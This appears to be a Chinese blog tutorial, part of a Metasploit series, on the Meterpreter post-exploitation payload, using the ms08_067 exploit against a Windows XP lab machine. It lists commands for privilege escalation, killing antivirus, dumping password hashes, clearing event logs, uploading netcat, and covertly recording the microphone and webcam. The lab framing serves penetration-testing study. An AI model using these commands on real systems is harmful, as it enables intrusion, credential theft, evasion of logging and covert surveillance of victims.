zoukankan      html  css  js  c++  java
  • MSF——Meterpreter(三)

    MSF系列:

    MSF——基本使用和Exploit模块(一)

    MSF——Payload模块(二)

    MSF——Meterpreter(三)

    MSF——信息收集(四)

    简介

    Meterpreter是Metasploit提供的一个非常强大的后渗透工具

    Meterpreter可以看成特殊的Payload,之前我们的Payload都是为了获得目标系统的shell

    这里的payload就是shellcode,以获得目标系统的shell为目的的payload

    我们获得的shell有些缺陷,仅利用shell来收集更多的信息、做更多的事情的话是一个偏笨拙的办法。利用Meterpreter可以打开麦克风、用图形界面显示被攻击者的操作界面等等。

    Meterpreter有以下优势:

    • 完全基于内存的DLL注入式Payload,纯内存工作,不需要对磁盘进行任何写入操作
    • 使用加密通信协议,而且可以同时与几个信道通信
    • 在被攻击进程内工作,不需要创建新的进程
    • 易于在多进程之间迁移

    执行过程:

    • 注入合法系统进程并建立Stager
    • 基于Stager上传和预加载DLL进行扩展模块的注入(客户端API)
    • 基于Stager建立的socket连接建立加密的TLS通信隧道
    • 利用TLS隧道进一步加载后续扩展模块(避免网络取证)

    基本命令

    获得Meterpreter Shell

    我们先获得一个Meterpreter的shell然后继续后面的内容

    实验机器:

    • Kali Rolling 4.8.10,IP地址192.168.171.129
    • Windows XP Professional SP3,打开445端口,关闭防火墙,IP地址192.168.171.134

    XP打开445端口

    在cmd命令中输入netstat -nao查看445端口是否在监听状态,如果是则跳过,不是则往下继续进行

     依次打开目录HKEY_LOCAL_MACHINESystemCurrentControlSetServicesNetBTParameters,得到下面的结果

    双击SMBDeviceEnabled

     将数值数据改成1,然后点确定即可

     输入netstat -nao,查看是否已经打开,如果没有则重启一下机器

    Kali开始攻击

    我们用ms08_067这个漏洞进行攻击,payload选择Meterpreter的payload,其中targets选择了 Id为34的系统,即Windows XP SP3 Chinese - Simplified (NX)

    然后输入 exploit -j 进行攻击,可以看到先发送了stage,然后创建了Meterpreter会话

    现在我们进入这个Meterpreter Shell

    基本命令

    可以输入help查看一些命令,如果想回到MSF可以输入background

    • pwd:pwd是Linux的命令,Windows是没有的,但在Meterpreter Shell中我们可以用这个命令查看当前所在的目录位置
    • cd:切换目录

    • dir / ls: 列出当前目录的内容

    • cat:查看文件内容
    • mkdir:创建目录
    • rm:删除文件
    • rmdir:删除文件夹
    • mv:移动文件
    • cp:复制文件
    • edit:其实就是Linux 下的 vi 命令
    • lpwd:指 local pwd,查看本地当前的工作目录
    • lcd:切换本地目录
    • getuid:查看Meterpreter登录到系统的用户
    • getsystem:获取system权限
    • getprivs:查看用户权限
    • getpid:Meterpreter是注入到一个合法的进程里面的,然后可以用ps查看我们注入的是哪个进程
    • migrate:将Meterpreter迁移到我们想注入的进程里面,migrate pid
      • 比如services.exe的pid是664,我们可以migrate 664
    • run / bgrun:运行命令,有200多个功能,但不保证所有模块能在目标机器上正常运行,bgrun是在后台运行而不是前台
      • run post/windows/manage/killav 用来杀掉杀毒软件
      • run post/windows/gather/smart_hashdump 获得系统账号和密码的hash,跟直接输入hashdump是一样的
      • run service_manager -l 获得目标系统的服务
      • run vnc 图形化的远程管理
    • clearev:清除目标系统日志。
      • XP电脑运行中输入eventvwr可以打开事件查看器
      • 这时候再去查看已经没有日志了,只有一条日志成功清除的记录 

    • download:下载目标系统的文件到 “lpwd” 目录下
    • upload:上传文件,upload /usr/share/windows-binaries/nc.exe C:\WINDOWS\system32,“”有转义符的意思,我们这里需要两条“”
    • execute:执行命令,-f 后面跟需要执行的命令
      • 和cmd交互:execute -f cmd.exe -i,直接输入shell也能获得操作系统的shell
    • ps:查看目标正在运行的进程
    • netstat:查看目标的网络连接状况、端口开放情况
    • sysinfo:目标操作系统信息
    • kill:杀死进程
    • reboot:重启机器
    • shutdown:关闭机器
    • shell:获得操作系统的shell
    • show_mount:挂载了几个分区
    • search:搜索目标系统的上的文件
      • search -f win.ini
    • arp:查看目标机器的arp缓存
    • ipconfig / ifconfig:查看目标IP信息
    • route:查看路由表
      • 可以添加、删除路由,可以通过route -h查看操作
    • idletime:目标操作系统已经空闲了多长时间,即多长时间没进行操作。时间久可以猜测用户不在计算机前。
    • resource:调用一个外部的资源文件
      • 比如在Kali的“lpwd”目录创建一个 test.txt,里面填入“pwd”等命令,一条命令一行
      • resource test.txt
    • record_mic:用目标的麦克风记录声音
    • webcam_list:列出目标机器上的摄像头
    • webcam_snap:用摄像头拍照
      • webcam_snap -i 1 -v false:每隔1秒拍一次照

    Meterpreter Python扩展

    目标机器无需安装Python运行环境,就能运行原生Python代码。

    这个扩展以插件的形式存在,我们需要先加载这个加载:

    load python

    • python_execute "print ('hello')",直接执行python代码
    • python_execute "import os; cd = os.getcwd()" -r cd,将os.getcwd()赋值给 cd 这个变量,然后用 -r cd 读取 cd 这个变量的值
    • python_import -f test.py,导入一个写好的python脚本
    # test.py
    import os print(os.getcwd())
  • 相关阅读:
    序列JSON数据和四种AJAX操作方式
    jquery.validate和jquery.form.js实现表单提交
    JQuery Validate使用总结1:
    HOWTO: Include Base64 Encoded Binary Image Data (data URI scheme) in Inline Cascading Style Sheets (CSS)(转)
    SharePoint 2007 使用4.0 .Net
    动态IP解决方案
    取MS CRM表单的URL
    从Iframe或新开的窗口访问MS CRM 2011(转)
    Toggle or Hidden MS CRM Tab
    Windows 2008下修改域用户密码
  • 原文地址:https://www.cnblogs.com/dogecheng/p/11489667.html
Copyright © 2011-2022 走看看